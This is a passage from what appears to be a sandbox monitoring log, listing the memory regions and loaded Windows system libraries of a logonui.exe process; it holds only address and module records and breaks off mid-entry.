0xfffff880034cc000 [0110.443] IdePortDispatch () returned 0x103 [0110.543] IdePortDispatch () returned 0x103 [0110.644] IdePortDispatch () returned 0x103 [0110.849] IdePortDispatch () returned 0x103 Process: id = "17" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0x204f2000" os_pid = "0x308" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x19c" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" Region: id = 1131 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1132 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1133 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1134 start_va = 0x1b0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1135 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 1136 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1137 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1138 start_va = 0xff510000 end_va = 0xff51afff entry_point = 0xff515c78 region_type = mapped_file name = "LogonUI.exe" filename = "\\Windows\\System32\\LogonUI.exe" Region: id = 1139 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 1140 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1141 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1142 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1143 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1144 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1145 start_va = 0x70000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1146 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 1147 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 1148 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1149 start_va = 0x170000 end_va = 0x19ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1150 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1151 start_va = 0x230000 end_va = 0x296fff entry_point = 0x230000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 1152 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1153 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 1154 start_va = 0x480000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1155 start_va = 0x490000 end_va = 0x617fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1156 start_va = 0x620000 end_va = 0x7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 1157 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 1158 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1159 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1160 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 1161 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 1162 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 1163 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 1164 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 1165 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 1166 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 1167 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 1168 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 1169 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 1170 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 1171 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 1172 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 1173 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 1174 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 1175 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 1176 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 1177 start_va = 0x3f0000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1178 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 1179 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 1180 start_va = 0xa10000 end_va = 0xcdefff entry_point = 0xa10000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 1181 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1182 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1183 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 1184 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1185 start_va = 0x3b0000 end_va = 0x3b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 1186 start_va = 0x3c0000 end_va = 0x3c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1187 start_va = 0x7fefc6a0000 end_va = 0x7fefc893fff entry_point = 0x7fefc82c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" Region: id = 1188 start_va = 0x7fefc8a0000 end_va = 0x7fefc9a8fff entry_point = 0x7fefc8a1010 region_type = mapped_file name = "cryptui.dll" filename = "\\Windows\\System32\\cryptui.dll" Region: id = 1189 start_va = 0x7fefc9b0000 end_va = 0x7fefcb89fff entry_point = 0x7fefc9b3130 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" Region: id = 1190 start_va = 0x3e0000 end_va = 0x3e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 1191 start_va = 0x870000 end_va = 0x8effff entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 1192 start_va = 0x7fefc670000 end_va = 0x7fefc693fff entry_point = 0x7fefc671024 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" Region: id = 1193 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1194 start_va = 0x7fefc650000 end_va = 0x7fefc66cfff entry_point = 0x7fefc651ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" Region: id = 1195 start_va = 0xce0000 end_va = 0xd5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 1196 start_va = 0x7fefc520000 end_va = 0x7fefc64bfff entry_point = 0x7fefc5294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" Region: id = 1197 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1198 start_va = 0x7fefc4c0000 end_va = 0x7fefc515fff entry_point = 0x7fefc4cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" Region: id = 1199 start_va = 0xec0000 end_va = 0xf3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 1200 start_va = 0x7fefc2a0000 end_va = 0x7fefc4b4fff entry_point = 0x7fefc4764b0 region_type = mapped_file name = "GdiPlus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" Region: id = 1201 start_va = 0x3d0000 end_va = 0x3d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 1202 start_va = 0x9d0000 end_va = 0x9dffff entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 1203 start_va = 0x7fefc1a0000 end_va = 0x7fefc291fff entry_point = 0x7fefc1cac20 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" Region: id = 1204 start_va = 0x7b0000 end_va = 0x7effff entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 1205 start_va = 0x7fefc150000 end_va = 0x7fefc192fff entry_point = 0x7fefc15c168 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" Region: id = 1206 start_va = 0x470000 end_va = 0x476fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 1207 start_va = 0x7f0000 end_va = 0x7f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 1208 start_va = 0x800000 end_va = 0x801fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1209 start_va = 0x940000 end_va = 0x9bffff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 1210 start_va = 0xf40000 end_va = 0x1332fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f40000" filename = "" Region: id = 1211 start_va = 0x7fefc100000 end_va = 0x7fefc10afff entry_point = 0x7fefc101020 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" Region: id = 1212 start_va = 0x7fefc110000 end_va = 0x7fefc14afff entry_point = 0x7fefc11f410 region_type = mapped_file name = "SndVolSSO.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" Region: id = 1213 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1214 start_va = 0x7fefc0b0000 end_va = 0x7fefc0fafff entry_point = 0x7fefc0befcc region_type = mapped_file name = "MMDevAPI.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" Region: id = 1215 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 1216 start_va = 0x7fefde70000 end_va = 0x7fefde89fff entry_point = 0x7fefde71558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" Region: id = 1217 start_va = 0x7feff310000 end_va = 0x7feff4e6fff entry_point = 0x7feff311010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" Region: id = 1218 start_va = 0x7fefc090000 end_va = 0x7fefc0a7fff entry_point = 0x7fefc091130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" Region: id = 1219 start_va = 0xd60000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 1220 start_va = 0x7fefc050000 end_va = 0x7fefc084fff entry_point = 0x7fefc051064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" Region: id = 1221 start_va = 0x820000 end_va = 0x820fff entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1222 start_va = 0x830000 end_va = 0x830fff entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1223 start_va = 0x840000 end_va = 0x840fff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 1224 start_va = 0x850000 end_va = 0x850fff entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 1225 start_va = 0x860000 end_va = 0x860fff entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 1226 start_va = 0x8f0000 end_va = 0x8f0fff entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 1227 start_va = 0x900000 end_va = 0x900fff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 1228 start_va = 0x910000 end_va = 0x910fff entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 1229 start_va = 0x920000 end_va = 0x920fff entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 1230 start_va = 0x930000 end_va = 0x930fff entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 1231 start_va = 0x9c0000 end_va = 0x9c0fff entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 1232 start_va = 0x9e0000 end_va = 0x9e0fff entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1233 start_va = 0x9f0000 end_va = 0x9f0fff entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1234 start_va = 0xa00000 end_va = 0xa00fff entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1235 start_va = 0xe60000 end_va = 0xe60fff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 1236 start_va = 0xe70000 end_va = 0xe70fff entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 1237 start_va = 0xe80000 end_va = 0xe80fff entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 1238 start_va = 0xe90000 end_va = 0xe90fff entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 1239 start_va = 0xea0000 end_va = 0xea0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 1240 start_va = 0xeb0000 end_va = 0xeb0fff entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 1241 start_va = 0x1340000 end_va = 0x1340fff entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 1242 start_va = 0x1350000 end_va = 0x1350fff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 1243 start_va = 0x1360000 end_va = 0x1360fff entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 1244 start_va = 0x1370000 end_va = 0x1370fff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 1245 start_va = 0x1380000 end_va = 0x1380fff entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 1246 start_va = 0x1390000 end_va = 0x1390fff entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 1247 start_va = 0x13a0000 end_va = 0x13a0fff entry_point = 0x0 region_type = private name = "private_0x00000000013a0000" filename = "" Region: id = 1248 start_va = 0x13b0000 end_va = 0x13b0fff entry_point = 0x0 region_type = private name = "private_0x00000000013b0000" filename = "" Region: id = 1249 start_va = 0x13c0000 end_va = 0x13c0fff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 1250 start_va = 0x13d0000 end_va = 0x13d0fff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 1251 start_va = 0x13e0000 end_va = 0x13e0fff entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 1252 start_va = 0x13f0000 end_va = 0x13f0fff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 1253 start_va = 0x1400000 end_va = 0x1400fff entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1254 start_va = 0x1410000 end_va = 0x1410fff entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 1255 start_va = 0x1420000 end_va = 0x1420fff entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 1256 start_va = 0x1430000 end_va = 0x1430fff entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 1257 start_va = 0x1440000 end_va = 0x1446fff entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 1258 start_va = 0x1450000 end_va = 0x1459fff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 1259 start_va = 0x1460000 end_va = 0x1466fff entry_point = 0x0 region_type = private name = "private_0x0000000001460000" filename = "" Region: id = 1260 start_va = 0x1470000 end_va = 0x1493fff entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 1261 start_va = 0x14a0000 end_va = 0x14a9fff entry_point = 0x0 region_type = private name = "private_0x00000000014a0000" filename = "" Region: id = 1262 start_va = 0x14b0000 end_va = 0x14b6fff entry_point = 0x0 region_type = private name = "private_0x00000000014b0000" filename = "" Region: id = 1263 start_va = 0x14c0000 end_va = 0x14c9fff entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 1264 start_va = 0x14d0000 end_va = 0x14d6fff entry_point = 0x0 region_type = private name = "private_0x00000000014d0000" filename = "" Region: id = 1265 start_va = 0x14e0000 end_va = 0x1517fff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 1266 start_va = 0x1520000 end_va = 0x1529fff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 1267 start_va = 0x1530000 end_va = 0x1530fff entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 1268 start_va = 0x1540000 end_va = 0x1540fff entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 1269 start_va = 0x1550000 end_va = 0x1550fff entry_point = 0x0 region_type = private name = "private_0x0000000001550000" filename = "" Region: id = 1270 start_va = 0x1560000 end_va = 0x1560fff entry_point = 0x0 region_type = private name = "private_0x0000000001560000" filename = "" Region: id = 1271 start_va = 0x1570000 end_va = 0x1570fff entry_point = 0x0 region_type = private name = "private_0x0000000001570000" filename = "" Region: id = 1272 start_va = 0x1580000 end_va = 0x1581fff entry_point = 0x0 region_type = private name = "private_0x0000000001580000" filename = "" Region: id = 1273 start_va = 0x1590000 end_va = 0x1590fff entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 1274 start_va = 0x15a0000 end_va = 0x15a1fff entry_point = 0x0 region_type = private name = "private_0x00000000015a0000" filename = "" Region: id = 1275 start_va = 0x15b0000 end_va = 0x15b0fff entry_point = 0x0 region_type = private name = "private_0x00000000015b0000" filename = "" Region: id = 1276 start_va = 0x15c0000 end_va = 0x15c1fff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 1277 start_va = 0x15d0000 end_va = 0x15d0fff entry_point = 0x0 region_type = private name = "private_0x00000000015d0000" filename = "" Region: id = 1278 start_va = 0x15e0000 end_va = 0x15e1fff entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 1279 start_va = 0x15f0000 end_va = 0x15f0fff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 1280 start_va = 0x1600000 end_va = 0x1600fff entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 1281 start_va = 0x1610000 end_va = 0x1610fff entry_point = 0x0 region_type = private name = "private_0x0000000001610000" filename = "" Region: id = 1282 start_va = 0x1620000 end_va = 0x1620fff entry_point = 0x0 region_type = private name = "private_0x0000000001620000" filename = "" Region: id = 1283 start_va = 0x1630000 end_va = 0x1630fff entry_point = 0x0 region_type = private name = "private_0x0000000001630000" filename = "" Region: id = 1284 start_va = 0x1640000 end_va = 0x1640fff entry_point = 0x0 region_type = private name = "private_0x0000000001640000" filename = "" Region: id = 1285 start_va = 0x1650000 end_va = 0x1650fff entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 1286 start_va = 0x1660000 end_va = 0x1660fff entry_point = 0x0 region_type = private name = "private_0x0000000001660000" filename = "" Region: id = 1287 start_va = 0x1670000 end_va = 0x1670fff entry_point = 0x0 region_type = private name = "private_0x0000000001670000" filename = "" Region: id = 1288 start_va = 0x1680000 end_va = 0x1680fff entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 1289 start_va = 0x1690000 end_va = 0x1690fff entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 1290 start_va = 0x16a0000 end_va = 0x16a0fff entry_point = 0x0 region_type = private name = "private_0x00000000016a0000" filename = "" Region: id = 1291 start_va = 0x16b0000 end_va = 0x16b0fff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 1292 start_va = 0x16c0000 end_va = 0x16c0fff entry_point = 0x0 region_type = private name = "private_0x00000000016c0000" filename = "" Region: id = 1293 start_va = 0x16d0000 end_va = 0x16d0fff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 1294 start_va = 0x16e0000 end_va = 0x16e0fff entry_point = 0x0 region_type = private name = "private_0x00000000016e0000" filename = "" Region: id = 1295 start_va = 0x16f0000 end_va = 0x16f0fff entry_point = 0x0 region_type = private name = "private_0x00000000016f0000" filename = "" Region: id = 1296 start_va = 0x1700000 end_va = 0x1700fff entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 1297 start_va = 0x1710000 end_va = 0x180ffff entry_point = 0x0 region_type = private name = "private_0x0000000001710000" filename = "" Region: id = 1298 start_va = 0x1810000 end_va = 0x2b64fff entry_point = 0x1810000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" Region: id = 1299 start_va = 0x7fefbf20000 end_va = 0x7fefc049fff entry_point = 0x7fefbf23810 region_type = mapped_file name = "WindowsCodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" Region: id = 1300 start_va = 0x810000 end_va = 0x810fff entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1301 start_va = 0x2b70000 end_va = 0x2b70fff entry_point = 0x0 region_type = private name = "private_0x0000000002b70000" filename = "" Region: id = 1302 start_va = 0x3580000 end_va = 0x367ffff entry_point = 0x0 region_type = private name = "private_0x0000000003580000" filename = "" Region: id = 1303 start_va = 0x3680000 end_va = 0x3681fff entry_point = 0x0 region_type = private name = "private_0x0000000003680000" filename = "" Region: id = 1304 start_va = 0x3690000 end_va = 0x3b81fff entry_point = 0x0 region_type = private name = "private_0x0000000003690000" filename = "" Region: id = 1305 start_va = 0x7fefbf10000 end_va = 0x7fefbf17fff entry_point = 0x7fefbf111a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" Region: id = 1306 start_va = 0x2b80000 end_va = 0x2b91fff entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 1307 start_va = 0x2bc0000 end_va = 0x2c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 1308 start_va = 0x2c60000 end_va = 0x2cdffff entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 1309 start_va = 0x7fefbef0000 end_va = 0x7fefbf00fff entry_point = 0x7fefbef1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" Region: id = 1310 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1311 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1312 start_va = 0x7fefbed0000 end_va = 0x7fefbee7fff entry_point = 0x7fefbed6274 region_type = mapped_file name = "VaultCredProvider.dll" filename = "\\Windows\\System32\\VaultCredProvider.dll" Region: id = 1313 start_va = 0x2ba0000 end_va = 0x2ba1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ba0000" filename = "" Region: id = 1314 start_va = 0x7fefbe90000 end_va = 0x7fefbec1fff entry_point = 0x7fefbea8e58 region_type = mapped_file name = "SmartcardCredentialProvider.dll" filename = "\\Windows\\System32\\SmartcardCredentialProvider.dll" Region: id = 1315 start_va = 0x2bb0000 end_va = 0x2bb1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002bb0000" filename = "" Region: id = 1316 start_va = 0x2db0000 end_va = 0x2e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002db0000" filename = "" Region: id = 1317 start_va = 0x7fefbd70000 end_va = 0x7fefbd83fff entry_point = 0x7fefbd716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" Region: id = 1318 start_va = 0x7fefbd90000 end_va = 0x7fefbda4fff entry_point = 0x7fefbd91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" Region: id = 1319 start_va = 0x7fefbdb0000 end_va = 0x7fefbdbbfff entry_point = 0x7fefbdb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" Region: id = 1320 start_va = 0x7fefbdc0000 end_va = 0x7fefbdd5fff entry_point = 0x7fefbdc11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" Region: id = 1321 start_va = 0x7fefbde0000 end_va = 0x7fefbdedfff entry_point = 0x7fefbde726c region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\System32\\vaultcli.dll" Region: id = 1322 start_va 